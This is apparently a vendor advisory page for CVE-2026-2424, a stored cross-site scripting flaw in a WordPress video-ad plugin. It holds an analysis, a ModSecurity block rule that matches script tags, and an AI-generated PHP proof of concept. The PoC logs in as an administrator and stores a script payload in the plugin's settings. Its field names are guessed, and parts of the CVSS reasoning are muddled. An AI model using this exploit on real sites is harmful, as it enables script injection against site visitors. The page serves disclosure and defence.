Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 25, 2026

CVE-2026-2424: Reward Video Ad for WordPress <= 1.6 – Authenticated (Administrator+) Stored Cross-Site Scripting via Admin Settings (applixir)

CVE ID CVE-2026-2424
Plugin applixir
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.6
Patched Version
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2424 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Reward Video Ad for WordPress plugin (applixir) up to version 1.6. The vulnerability resides in the plugin’s admin settings interface, allowing attackers with administrator privileges to inject malicious scripts that persist and execute for other users.

Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on several plugin settings fields, including ‘Account ID’, ‘Message before the video’, and color fields. This CWE-79 pattern is common in WordPress plugins where user input from admin forms is saved to the database without proper sanitization using functions like `sanitize_text_field`, then later output without escaping via functions like `esc_attr` or `esc_html`. The vulnerability description confirms the lack of sanitization and escaping, but the exact code location is inferred from the CWE classification and typical WordPress admin settings patterns.

Exploitation requires an attacker to have administrator-level access to the WordPress dashboard. The attacker would navigate to the plugin’s settings page, likely under a menu like ‘Reward Video Ad’ or within the WordPress admin panel. They would then submit a malicious payload into one of the vulnerable fields, such as the ‘Message before the video’ textarea. A typical payload would be `alert(document.domain)`. Upon saving the settings, this script is stored in the WordPress database. The script executes in the browser of any user who later views a page where the plugin renders this unsanitized setting, such as a frontend page containing the video ad unit.

Remediation requires implementing proper input validation and output escaping. The plugin developers should sanitize all user input on the server-side before saving it to the database, using WordPress core functions like `sanitize_text_field` for text inputs and `sanitize_hex_color` for color fields. Additionally, all output of these settings must be escaped contextually before being rendered in HTML, using functions like `esc_html` for text content and `esc_attr` for HTML attributes. A nonce check should also be present on the settings form submission to prevent CSRF attacks, though the CVE description does not mention its absence.

The impact of this vulnerability is limited to stored XSS attacks. A successful exploit allows an attacker with administrator privileges to inject arbitrary JavaScript that executes in the context of any user viewing the affected page. This can lead to session hijacking, defacement, or malicious redirects for users, including other administrators. The CVSS score of 4.4 reflects the high attack complexity (AC:H) due to the required administrator privilege (PR:H) and the need for user interaction to view the poisoned page (UI:N).

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2424 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:20262424,phase:2,deny,status:403,chain,msg:'CVE-2026-2424 via applixir plugin admin settings',severity:'CRITICAL',tag:'CVE-2026-2424',tag:'WordPress',tag:'applixir',tag:'XSS'"
  SecRule ARGS_GET:page "@streq applixir" "chain"
    SecRule ARGS_POST:action "@streq save" "chain"
      SecRule ARGS_POST:applixir_message_before "@rx <script[^>]*>" 
        "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2424 - Reward Video Ad for WordPress <= 1.6 - Authenticated (Administrator+) Stored Cross-Site Scripting via Admin Settings
<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin.php?page=applixir'; // Assumed admin settings page
$username = 'admin'; // Administrator username
$password = 'password'; // Administrator password
$payload = '<script>alert("Atomic Edge XSS Test: "+document.domain)</script>';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('wp-admin/admin.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login nonce (WordPress login includes a hidden nonce field 'log')
$login_page = curl_exec($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $login_page, $matches);
$login_nonce = $matches[1] ?? '';

// Perform login
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1',
    '_wpnonce' => $login_nonce
];
curl_setopt($ch, CURLOPT_URL, str_replace('wp-admin/admin.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$login_response = curl_exec($ch);

// Check if login succeeded by accessing the admin page
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);

// Extract the settings form nonce (assumed field name 'applixir_settings_nonce')
preg_match('/name="applixir_settings_nonce" value="([^"]+)"/', $admin_page, $matches);
$settings_nonce = $matches[1] ?? '';

if (empty($settings_nonce)) {
    die('Could not find settings nonce. Plugin admin page structure may differ.');
}

// Submit the XSS payload to the settings form
// Assumes the form submits via POST to admin.php?page=applixir with an 'action' parameter of 'save'
$exploit_fields = [
    'action' => 'save',
    'applixir_settings_nonce' => $settings_nonce,
    'applixir_account_id' => 'test_account', // Legitimate value
    'applixir_message_before' => $payload, // Injected into vulnerable field
    'applixir_color_primary' => '#ffffff' // Legitimate value
];
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$exploit_response = curl_exec($ch);

// Verify the payload was stored by fetching the frontend page where the plugin renders
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/');
curl_setopt($ch, CURLOPT_POST, false);
$frontend_page = curl_exec($ch);

if (strpos($frontend_page, $payload) !== false) {
    echo "SUCCESS: XSS payload likely stored. Check frontend page source for: " . htmlspecialchars($payload) . "n";
} else {
    echo "Payload may not have been stored or plugin renders on different pages.n";
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School